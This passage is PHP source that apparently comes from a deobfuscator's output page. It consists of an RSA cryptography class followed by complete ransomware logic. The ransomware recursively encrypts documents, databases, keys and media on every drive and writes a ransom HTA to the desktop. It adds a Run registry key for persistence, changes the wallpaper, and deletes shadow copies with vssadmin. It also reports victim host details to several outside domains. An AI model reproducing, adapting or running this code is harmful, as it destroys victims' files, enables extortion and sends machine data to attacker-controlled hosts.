$components['coefficients']; $this->publicExponent = $components['publicExponent']; } else { $this->primes = array(); $this->exponents = array(); $this->coefficients = array(); $this->publicExponent = false; } switch ($type) { case CRYPT_RSA_PUBLIC_FORMAT_OPENSSH: case CRYPT_RSA_PUBLIC_FORMAT_RAW: $this->setPublicKey(); break; case CRYPT_RSA_PRIVATE_FORMAT_PKCS1: switch (true) { case strpos($key, '-BEGIN PUBLIC KEY-') !== false: case strpos($key, '-BEGIN RSA PUBLIC KEY-') !== false: $this->setPublicKey(); } } return true; } function setPassword($password = false) { $this->password = $password; } function setPublicKey($key = false, $type = false) { if (!empty($this->publicExponent)) { return false; } if ($key === false && !empty($this->modulus)) { $this->publicExponent = $this->exponent; return true; } if ($type === false) { $types = array( CRYPT_RSA_PUBLIC_FORMAT_RAW, CRYPT_RSA_PUBLIC_FORMAT_PKCS1, CRYPT_RSA_PUBLIC_FORMAT_XML, CRYPT_RSA_PUBLIC_FORMAT_OPENSSH ); foreach ($types as $type) { $components = $this->_parseKey($key, $type); if ($components !== false) { break; } } } else { $components = $this->_parseKey($key, $type); } if ($components === false) { return false; } if (empty($this->modulus) || !$this->modulus->equals($components['modulus'])) { $this->modulus = $components['modulus']; $this->exponent = $this->publicExponent = $components['publicExponent']; return true; } $this->publicExponent = $components['publicExponent']; return true; } function setPrivateKey($key = false, $type = false) { if ($key === false && !empty($this->publicExponent)) { $this->publicExponent = false; return true; } $rsa = new Crypt_RSA(); if (!$rsa->loadKey($key, $type)) { return false; } $rsa->publicExponent = false; $this->loadKey($rsa); return true; } function getPublicKey($type = CRYPT_RSA_PUBLIC_FORMAT_PKCS8) { if (empty($this->modulus) || empty($this->publicExponent)) { return false; } $oldFormat = $this->publicKeyFormat; $this->publicKeyFormat = $type; $temp = $this->_convertPublicKey($this->modulus, $this->publicExponent); $this->publicKeyFormat = $oldFormat; return $temp; } function getPublicKeyFingerprint($algorithm = 'md5') { if (empty($this->modulus) || empty($this->publicExponent)) { return false; } $modulus = $this->modulus->toBytes(true); $publicExponent = $this->publicExponent->toBytes(true); $RSAPublicKey = pack('Na*Na*Na*', strlen('ssh-rsa'), 'ssh-rsa', strlen($publicExponent), $publicExponent, strlen($modulus), $modulus); switch ($algorithm) { case 'sha256': $hash = new Crypt_Hash('sha256'); $base = base64_encode($hash->hash($RSAPublicKey)); return substr($base, 0, strlen($base) - 1); case 'md5': return substr(chunk_split(md5($RSAPublicKey), 2, ':'), 0, -1); default: return false; } } function getPrivateKey($type = CRYPT_RSA_PUBLIC_FORMAT_PKCS1) { if (empty($this->primes)) { return false; } $oldFormat = $this->privateKeyFormat; $this->privateKeyFormat = $type; $temp = $this->_convertPrivateKey($this->modulus, $this->publicExponent, $this->exponent, $this->primes, $this->exponents, $this->coefficients); $this->privateKeyFormat = $oldFormat; return $temp; } function _getPrivatePublicKey($mode = CRYPT_RSA_PUBLIC_FORMAT_PKCS8) { if (empty($this->modulus) || empty($this->exponent)) { return false; } $oldFormat = $this->publicKeyFormat; $this->publicKeyFormat = $mode; $temp = $this->_convertPublicKey($this->modulus, $this->exponent); $this->publicKeyFormat = $oldFormat; return $temp; } function __toString() { $key = $this->getPrivateKey($this->privateKeyFormat); if ($key !== false) { return $key; } $key = $this->_getPrivatePublicKey($this->publicKeyFormat); return $key !== false ? $key : ''; } function __clone() { $key = new Crypt_RSA(); $key->loadKey($this); return $key; } function _generateMinMax($bits) { $bytes = $bits >> 3; $min = str_repeat(chr(0), $bytes); $max = str_repeat(chr(0xFF), $bytes); $msb = $bits & 7; if ($msb) { $min = chr(1 << ($msb - 1)) . $min; $max = chr((1 << $msb) - 1) . $max; } else { $min[0] = chr(0x80); } return array( 'min' => new Math_BigInteger($min, 256), 'max' => new Math_BigInteger($max, 256) ); } function _decodeLength(&$string) { $length = ord($this->_string_shift($string)); if ($length & 0x80) { $length&= 0x7F; $temp = $this->_string_shift($string, $length); list(, $length) = unpack('N', substr(str_pad($temp, 4, chr(0), STR_PAD_LEFT), -4)); } return $length; } function _encodeLength($length) { if ($length <= 0x7F) { return chr($length); } $temp = ltrim(pack('N', $length), chr(0)); return pack('Ca*', 0x80 | strlen($temp), $temp); } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } function setPrivateKeyFormat($format) { $this->privateKeyFormat = $format; } function setPublicKeyFormat($format) { $this->publicKeyFormat = $format; } function setHash($hash) { switch ($hash) { case 'md2': case 'md5': case 'sha1': case 'sha256': case 'sha384': case 'sha512': $this->hash = new Crypt_Hash($hash); $this->hashName = $hash; break; default: $this->hash = new Crypt_Hash('sha1'); $this->hashName = 'sha1'; } $this->hLen = $this->hash->getLength(); } function setMGFHash($hash) { switch ($hash) { case 'md2': case 'md5': case 'sha1': case 'sha256': case 'sha384': case 'sha512': $this->mgfHash = new Crypt_Hash($hash); break; default: $this->mgfHash = new Crypt_Hash('sha1'); } $this->mgfHLen = $this->mgfHash->getLength(); } function setSaltLength($sLen) { $this->sLen = $sLen; } function _i2osp($x, $xLen) { $x = $x->toBytes(); if (strlen($x) > $xLen) { user_error('Integer too large'); return false; } return str_pad($x, $xLen, chr(0), STR_PAD_LEFT); } function _os2ip($x) { return new Math_BigInteger($x, 256); } function _exponentiate($x) { switch (true) { case empty($this->primes): case $this->primes[1]->equals($this->zero): case empty($this->coefficients): case $this->coefficients[2]->equals($this->zero): case empty($this->exponents): case $this->exponents[1]->equals($this->zero): return $x->modPow($this->exponent, $this->modulus); } $num_primes = count($this->primes); if (defined('CRYPT_RSA_DISABLE_BLINDING')) { $m_i = array( 1 => $x->modPow($this->exponents[1], $this->primes[1]), 2 => $x->modPow($this->exponents[2], $this->primes[2]) ); $h = $m_i[1]->subtract($m_i[2]); $h = $h->multiply($this->coefficients[2]); list(, $h) = $h->divide($this->primes[1]); $m = $m_i[2]->add($h->multiply($this->primes[2])); $r = $this->primes[1]; for ($i = 3; $i <= $num_primes; $i++) { $m_i = $x->modPow($this->exponents[$i], $this->primes[$i]); $r = $r->multiply($this->primes[$i - 1]); $h = $m_i->subtract($m); $h = $h->multiply($this->coefficients[$i]); list(, $h) = $h->divide($this->primes[$i]); $m = $m->add($r->multiply($h)); } } else { $smallest = $this->primes[1]; for ($i = 2; $i <= $num_primes; $i++) { if ($smallest->compare($this->primes[$i]) > 0) { $smallest = $this->primes[$i]; } } $one = new Math_BigInteger(1); $r = $one->random($one, $smallest->subtract($one)); $m_i = array( 1 => $this->_blind($x, $r, 1), 2 => $this->_blind($x, $r, 2) ); $h = $m_i[1]->subtract($m_i[2]); $h = $h->multiply($this->coefficients[2]); list(, $h) = $h->divide($this->primes[1]); $m = $m_i[2]->add($h->multiply($this->primes[2])); $r = $this->primes[1]; for ($i = 3; $i <= $num_primes; $i++) { $m_i = $this->_blind($x, $r, $i); $r = $r->multiply($this->primes[$i - 1]); $h = $m_i->subtract($m); $h = $h->multiply($this->coefficients[$i]); list(, $h) = $h->divide($this->primes[$i]); $m = $m->add($r->multiply($h)); } } return $m; } function _blind($x, $r, $i) { $x = $x->multiply($r->modPow($this->publicExponent, $this->primes[$i])); $x = $x->modPow($this->exponents[$i], $this->primes[$i]); $r = $r->modInverse($this->primes[$i]); $x = $x->multiply($r); list(, $x) = $x->divide($this->primes[$i]); return $x; } function _equals($x, $y) { if (strlen($x) != strlen($y)) { return false; } $result = 0; for ($i = 0; $i < strlen($x); $i++) { $result |= ord($x[$i]) ^ ord($y[$i]); } return $result == 0; } function _rsaep($m) { if ($m->compare($this->zero) < 0 || $m->compare($this->modulus) > 0) { user_error('Message representative out of range'); return false; } return $this->_exponentiate($m); } function _rsadp($c) { if ($c->compare($this->zero) < 0 || $c->compare($this->modulus) > 0) { user_error('Ciphertext representative out of range'); return false; } return $this->_exponentiate($c); } function _rsasp1($m) { if ($m->compare($this->zero) < 0 || $m->compare($this->modulus) > 0) { user_error('Message representative out of range'); return false; } return $this->_exponentiate($m); } function _rsavp1($s) { if ($s->compare($this->zero) < 0 || $s->compare($this->modulus) > 0) { user_error('Signature representative out of range'); return false; } return $this->_exponentiate($s); } function _mgf1($mgfSeed, $maskLen) { $t = ''; $count = ceil($maskLen / $this->mgfHLen); for ($i = 0; $i < $count; $i++) { $c = pack('N', $i); $t.= $this->mgfHash->hash($mgfSeed . $c); } return substr($t, 0, $maskLen); } function _rsaes_oaep_encrypt($m, $l = '') { $mLen = strlen($m); if ($mLen > $this->k - 2 * $this->hLen - 2) { user_error('Message too long'); return false; } $lHash = $this->hash->hash($l); $ps = str_repeat(chr(0), $this->k - $mLen - 2 * $this->hLen - 2); $db = $lHash . $ps . chr(1) . $m; $seed = crypt_random_string($this->hLen); $dbMask = $this->_mgf1($seed, $this->k - $this->hLen - 1); $maskedDB = $db ^ $dbMask; $seedMask = $this->_mgf1($maskedDB, $this->hLen); $maskedSeed = $seed ^ $seedMask; $em = chr(0) . $maskedSeed . $maskedDB; $m = $this->_os2ip($em); $c = $this->_rsaep($m); $c = $this->_i2osp($c, $this->k); return $c; } function _rsaes_oaep_decrypt($c, $l = '') { if (strlen($c) != $this->k || $this->k < 2 * $this->hLen + 2) { user_error('Decryption error'); return false; } $c = $this->_os2ip($c); $m = $this->_rsadp($c); if ($m === false) { user_error('Decryption error'); return false; } $em = $this->_i2osp($m, $this->k); $lHash = $this->hash->hash($l); $y = ord($em[0]); $maskedSeed = substr($em, 1, $this->hLen); $maskedDB = substr($em, $this->hLen + 1); $seedMask = $this->_mgf1($maskedDB, $this->hLen); $seed = $maskedSeed ^ $seedMask; $dbMask = $this->_mgf1($seed, $this->k - $this->hLen - 1); $db = $maskedDB ^ $dbMask; $lHash2 = substr($db, 0, $this->hLen); $m = substr($db, $this->hLen); if ($lHash != $lHash2) { user_error('Decryption error'); return false; } $m = ltrim($m, chr(0)); if (ord($m[0]) != 1) { user_error('Decryption error'); return false; } return substr($m, 1); } function _raw_encrypt($m) { $temp = $this->_os2ip($m); $temp = $this->_rsaep($temp); return $this->_i2osp($temp, $this->k); } function _rsaes_pkcs1_v1_5_encrypt($m) { $mLen = strlen($m); if ($mLen > $this->k - 11) { user_error('Message too long'); return false; } $psLen = $this->k - $mLen - 3; $ps = ''; while (strlen($ps) != $psLen) { $temp = crypt_random_string($psLen - strlen($ps)); $temp = str_replace("", '', $temp); $ps.= $temp; } $type = 2; if (defined('CRYPT_RSA_PKCS15_COMPAT') && (!isset($this->publicExponent) || $this->exponent !== $this->publicExponent)) { $type = 1; $ps = str_repeat("", $psLen); } $em = chr(0) . chr($type) . $ps . chr(0) . $m; $m = $this->_os2ip($em); $c = $this->_rsaep($m); $c = $this->_i2osp($c, $this->k); return $c; } function _rsaes_pkcs1_v1_5_decrypt($c) { if (strlen($c) != $this->k) { user_error('Decryption error'); return false; } $c = $this->_os2ip($c); $m = $this->_rsadp($c); if ($m === false) { user_error('Decryption error'); return false; } $em = $this->_i2osp($m, $this->k); if (ord($em[0]) != 0 || ord($em[1]) > 2) { user_error('Decryption error'); return false; } $ps = substr($em, 2, strpos($em, chr(0), 2) - 2); $m = substr($em, strlen($ps) + 3); if (strlen($ps) < 8) { user_error('Decryption error'); return false; } return $m; } function _emsa_pss_encode($m, $emBits) { $emLen = ($emBits + 1) >> 3; $sLen = $this->sLen !== null ? $this->sLen : $this->hLen; $mHash = $this->hash->hash($m); if ($emLen < $this->hLen + $sLen + 2) { user_error('Encoding error'); return false; } $salt = crypt_random_string($sLen); $m2 = "" . $mHash . $salt; $h = $this->hash->hash($m2); $ps = str_repeat(chr(0), $emLen - $sLen - $this->hLen - 2); $db = $ps . chr(1) . $salt; $dbMask = $this->_mgf1($h, $emLen - $this->hLen - 1); $maskedDB = $db ^ $dbMask; $maskedDB[0] = ~chr(0xFF << ($emBits & 7)) & $maskedDB[0]; $em = $maskedDB . $h . chr(0xBC); return $em; } function _emsa_pss_verify($m, $em, $emBits) { $emLen = ($emBits + 1) >> 3; $sLen = $this->sLen !== null ? $this->sLen : $this->hLen; $mHash = $this->hash->hash($m); if ($emLen < $this->hLen + $sLen + 2) { return false; } if ($em[strlen($em) - 1] != chr(0xBC)) { return false; } $maskedDB = substr($em, 0, -$this->hLen - 1); $h = substr($em, -$this->hLen - 1, $this->hLen); $temp = chr(0xFF << ($emBits & 7)); if ((~$maskedDB[0] & $temp) != $temp) { return false; } $dbMask = $this->_mgf1($h, $emLen - $this->hLen - 1); $db = $maskedDB ^ $dbMask; $db[0] = ~chr(0xFF << ($emBits & 7)) & $db[0]; $temp = $emLen - $this->hLen - $sLen - 2; if (substr($db, 0, $temp) != str_repeat(chr(0), $temp) || ord($db[$temp]) != 1) { return false; } $salt = substr($db, $temp + 1); $m2 = "" . $mHash . $salt; $h2 = $this->hash->hash($m2); return $this->_equals($h, $h2); } function _rsassa_pss_sign($m) { $em = $this->_emsa_pss_encode($m, 8 * $this->k - 1); $m = $this->_os2ip($em); $s = $this->_rsasp1($m); $s = $this->_i2osp($s, $this->k); return $s; } function _rsassa_pss_verify($m, $s) { if (strlen($s) != $this->k) { user_error('Invalid signature'); return false; } $modBits = 8 * $this->k; $s2 = $this->_os2ip($s); $m2 = $this->_rsavp1($s2); if ($m2 === false) { user_error('Invalid signature'); return false; } $em = $this->_i2osp($m2, $modBits >> 3); if ($em === false) { user_error('Invalid signature'); return false; } return $this->_emsa_pss_verify($m, $em, $modBits - 1); } function _emsa_pkcs1_v1_5_encode($m, $emLen) { $h = $this->hash->hash($m); if ($h === false) { return false; } switch ($this->hashName) { case 'md2': $t = pack('H*', '3020300c06082a864886f70d020205000410'); break; case 'md5': $t = pack('H*', '3020300c06082a864886f70d020505000410'); break; case 'sha1': $t = pack('H*', '3021300906052b0e03021a05000414'); break; case 'sha256': $t = pack('H*', '3031300d060960864801650304020105000420'); break; case 'sha384': $t = pack('H*', '3041300d060960864801650304020205000430'); break; case 'sha512': $t = pack('H*', '3051300d060960864801650304020305000440'); } $t.= $h; $tLen = strlen($t); if ($emLen < $tLen + 11) { user_error('Intended encoded message length too short'); return false; } $ps = str_repeat(chr(0xFF), $emLen - $tLen - 3); $em = "$ps$t"; return $em; } function _rsassa_pkcs1_v1_5_sign($m) { $em = $this->_emsa_pkcs1_v1_5_encode($m, $this->k); if ($em === false) { user_error('RSA modulus too short'); return false; } $m = $this->_os2ip($em); $s = $this->_rsasp1($m); $s = $this->_i2osp($s, $this->k); return $s; } function _rsassa_pkcs1_v1_5_verify($m, $s) { if (strlen($s) != $this->k) { user_error('Invalid signature'); return false; } $s = $this->_os2ip($s); $m2 = $this->_rsavp1($s); if ($m2 === false) { user_error('Invalid signature'); return false; } $em = $this->_i2osp($m2, $this->k); if ($em === false) { user_error('Invalid signature'); return false; } $em2 = $this->_emsa_pkcs1_v1_5_encode($m, $this->k); if ($em2 === false) { user_error('RSA modulus too short'); return false; } return $this->_equals($em, $em2); } function setEncryptionMode($mode) { $this->encryptionMode = $mode; } function setSignatureMode($mode) { $this->signatureMode = $mode; } function setComment($comment) { $this->comment = $comment; } function getComment() { return $this->comment; } function encrypt($plaintext) { switch ($this->encryptionMode) { case CRYPT_RSA_ENCRYPTION_NONE: $plaintext = str_split($plaintext, $this->k); $ciphertext = ''; foreach ($plaintext as $m) { $ciphertext.= $this->_raw_encrypt($m); } return $ciphertext; case CRYPT_RSA_ENCRYPTION_PKCS1: $length = $this->k - 11; if ($length <= 0) { return false; } $plaintext = str_split($plaintext, $length); $ciphertext = ''; foreach ($plaintext as $m) { $ciphertext.= $this->_rsaes_pkcs1_v1_5_encrypt($m); } return $ciphertext; default: $length = $this->k - 2 * $this->hLen - 2; if ($length <= 0) { return false; } $plaintext = str_split($plaintext, $length); $ciphertext = ''; foreach ($plaintext as $m) { $ciphertext.= $this->_rsaes_oaep_encrypt($m); } return $ciphertext; } } function decrypt($ciphertext) { if ($this->k <= 0) { return false; } $ciphertext = str_split($ciphertext, $this->k); $ciphertext[count($ciphertext) - 1] = str_pad($ciphertext[count($ciphertext) - 1], $this->k, chr(0), STR_PAD_LEFT); $plaintext = ''; switch ($this->encryptionMode) { case CRYPT_RSA_ENCRYPTION_NONE: $decrypt = '_raw_encrypt'; break; case CRYPT_RSA_ENCRYPTION_PKCS1: $decrypt = '_rsaes_pkcs1_v1_5_decrypt'; break; default: $decrypt = '_rsaes_oaep_decrypt'; } foreach ($ciphertext as $c) { $temp = $this->$decrypt($c); if ($temp === false) { return false; } $plaintext.= $temp; } return $plaintext; } function sign($message) { if (empty($this->modulus) || empty($this->exponent)) { return false; } switch ($this->signatureMode) { case CRYPT_RSA_SIGNATURE_PKCS1: return $this->_rsassa_pkcs1_v1_5_sign($message); default: return $this->_rsassa_pss_sign($message); } } function verify($message, $signature) { if (empty($this->modulus) || empty($this->exponent)) { return false; } switch ($this->signatureMode) { case CRYPT_RSA_SIGNATURE_PKCS1: return $this->_rsassa_pkcs1_v1_5_verify($message, $signature); default: return $this->_rsassa_pss_verify($message, $signature); } } function _extractBER($str) { $temp = preg_replace('#.*?^-+[^-]+-+[
 ]*$#ms', '', $str, 1); $temp = preg_replace('#-+[^-]+-+#', '', $temp); $temp = str_replace(array("
", "
", ' '), '', $temp); $temp = preg_match('#^[a-zA-Z\d/+]*={0,2}$#', $temp) ? base64_decode($temp) : false; return $temp != false ? $temp : $str; } } $lands = array("atagarden.com","lamancha.club","serdcezemli.ru","emsp.ru","beta.smk.dk"); $address = $_SERVER["argv"][1]; $price = $_SERVER["argv"][2]; $keypub = $_SERVER["argv"][3]; $cs = chr(92); $cq = chr(34); $fn = substr($_SERVER["argv"][0],0,-4); function Tree($p) { $s=chr(92); if (preg_match("/".$s.$s."(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i",$p) || preg_match("/recycle/i",$p)) return; $dp=opendir($p); if ($dp === false) return; while ($o = readdir($dp)) if ($o != "." && $o != "..") { if (!is_writable($p.$s.$o)) chmod($p.$s.$o, 0777); if (is_dir($p.$s.$o)) { Tree($p.$s.$o); } elseif (preg_match("/[.](123|602|dif|docb|docm|dot|dotm|dotx|hwp|mml|odg|odp|ods|otg|otp|ots|ott|pot|potm|potx|ppam|ppsm|ppsx|pptm|sldm|sldx|slk|stc|std|sti|stw|sxc|sxd|sxm|sxw|txt|uop|uot|wb2|wk1|wks|xlc|xlm|xlsb|xlsm|xlt|xltm|xltx|xlw|xml|asp|bat|brd|c|cmd|dch|dip|jar|js|rb|sch|sh|vbs|3g2|fla|m4u|swf|bmp|cgm|djv|gif|nef|png|db|dbf|frm|ibd|ldf|myd|myi|onenotec2|sqlite3|sqlitedb|paq|tbk|tgz|3dm|asc|lay|lay6|ms11|ms11|crt|csr|key|p12|pem|qcow2|vmx|aes|zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i",$o)) { $_SERVER["files"][] = $p.$s.$o; } } closedir($dp); } $_SERVER["files"] = array(); $stat_drives = ""; for ($i=67; $i<=90; $i++) { if (is_dir(chr($i).":")) { $stat_drives .= chr($i); Tree(chr($i).":"); } } $stat_files = count($_SERVER["files"]); if ($stat_files > 0) { $db = fopen($fn.".db", "w"); foreach ($_SERVER["files"] as $file) { $fp = fopen($file, "r+"); if ($fp === false) continue; $key = ""; for ($i=0; $i<128; $i++) $key .= chr(mt_rand(0,255)); $aes = new Crypt_AES(CRYPT_AES_MODE_ECB); $aes->setKeyLength(128); $aes->setKey($key); $b = fread($fp,100000); fseek($fp, 0); fwrite($fp, str_repeat(chr(0),strlen($b))); fclose($fp); $b = $aes->encrypt($b); $rsa = new Crypt_RSA(); $rsa->loadKey($keypub); $key = $rsa->encrypt($key); fputs($db, $file . "	" . base64_encode($key) . "	" . base64_encode($b) . "
"); } fclose($db); $hta = gzinflate(base64_decode("hVTBbtpAED0TKf8wtURPCU6iHiJqLDnYUlAJILAa5VSt7SFeZdlxd9ci9Os7XkBJVZScbM++nffm7fNG9/nDND4/i+6zJPXPPBkmi8V0Mk7yyXwGk3QUpNl4+bTIA3i3MEsesncrj5NZOn9c5UnO1Y14lRv5BwMIu5b5JJ9m8QEahftProdHzrt5+gTFc0mKzCgwWAXg8NWNgm0tHXexbqdwFKxJu8u12Ei1G8JPNJXQIuD952e9qL7+B2WZfQg3t81rECd5ns06yV+isL4+4JtT8CsPVwp21BqoqGw3qJ29gKYmR/yshBOFsGhB6ArI1WhAbhoyTmgHDRpLWihYS8WQLRoE1KXZNQ6rqDBxa6V+BgElbQqphZOkgdasxBDXl6vk8ubq263vnWSry+sbflfPZKSrN3YQhQ2L732sPq8RSKsdbMUOHIFB64h1+In2uqTtFop2BxV6cWQGsFDIc13AmpSiLfBkFpkEGzvc83a0pDoBvUjJeGxQuEPbO+lKkpoplUIHbAoOPa5QVL78bslhXDvHrcLQl8paSD2Qek3hfk+ocRuF7+B+e8g8ntgz3rHgqL9YTsZZP4Ziz2k/ZuOKUEfogG0Peexfx8JnjCvkgzhBye65ml0UVcX22v/Yo36SpststerHn1HMG+QIaOxiwJ4f7O9SoqR+4bPSe4sLQ1uL5gTVdDL78QFRr3ekSmmrFYnKx8u0+u30T+dkcOwQhf7cfe7ir7qwzfdDFPn7iVooheYt3NW7wg4505Y+3Cz/7YrouvKsh58L7Yuj5hDqKOyugP2d0N1HfwE=")); $links = ""; foreach ($lands as $land) $links .= "<div>http://".$land."/counter/?".$address."</div>"; $hta = str_replace ("<%PRICE%>", $price, $hta); $hta = str_replace ("<%ADDRESS%>", $address, $hta); $hta = str_replace ("<%LINKS%>", $links, $hta); $fp = fopen($fn.".hta", "w"); fputs($fp, $hta); fclose($fp); $fp = fopen($_ENV["APPDATA"].$cs."Desktop".$cs."DECRYPT.hta", "w"); fputs($fp, $hta); fclose($fp); $fp = fopen($_ENV["USERPROFILE"].$cs."Desktop".$cs."DECRYPT.hta", "w"); fputs($fp, $hta); fclose($fp); $bmp = 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for ($i=1000; $i<strlen($bmp); $i++) if (mt_rand(1,100) < 10) $bmp[$i] = chr(mt_rand(1,255)); $fp = fopen($fn.".bmp", "wb"); fputs($fp, $bmp); fclose($fp); exec("reg add ".$cq."HKCU".$cs."Software".$cs."Microsoft".$cs."Windows".$cs."CurrentVersion".$cs."Run".$cq." /V ".$cq."Crypted".$cq." /t REG_SZ /F /D ".$cq.$fn.".hta".$cq); exec("reg add ".$cq."HKCU".$cs."Control Panel".$cs."Desktop".$cq." /v Wallpaper /f /t REG_SZ /d ".$cq.$fn.".bmp".$cq); exec("RUNDLL32.EXE user32.dll, UpdatePerUserSystemParameters"); exec("vssadmin.exe Delete Shadows /All /Quiet"); exec("mshta.exe ".$cq.$fn.".hta".$cq); } foreach ($lands as $host) { file_get_contents("http://".$host."/counter/index.php?log=".base64_encode(gzdeflate($address.", ".$price.", ".$keypub.", ".md5($_ENV["COMPUTERNAME"].", ".$_ENV["USERNAME"].", ".$_ENV["OS"].", ".$_ENV["PROCESSOR_IDENTIFIER"])." ".$stat_drives." ".$stat_files))); }

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Original Code

<?php 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?>

Function Calls

gzinflate	1
str_replace	1
base64_decode	1

Variables

None

Stats

MD5	f01a07785c5853c3ea496c3f04699d78
Eval Count	1
Decode Time	209 ms

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Variables

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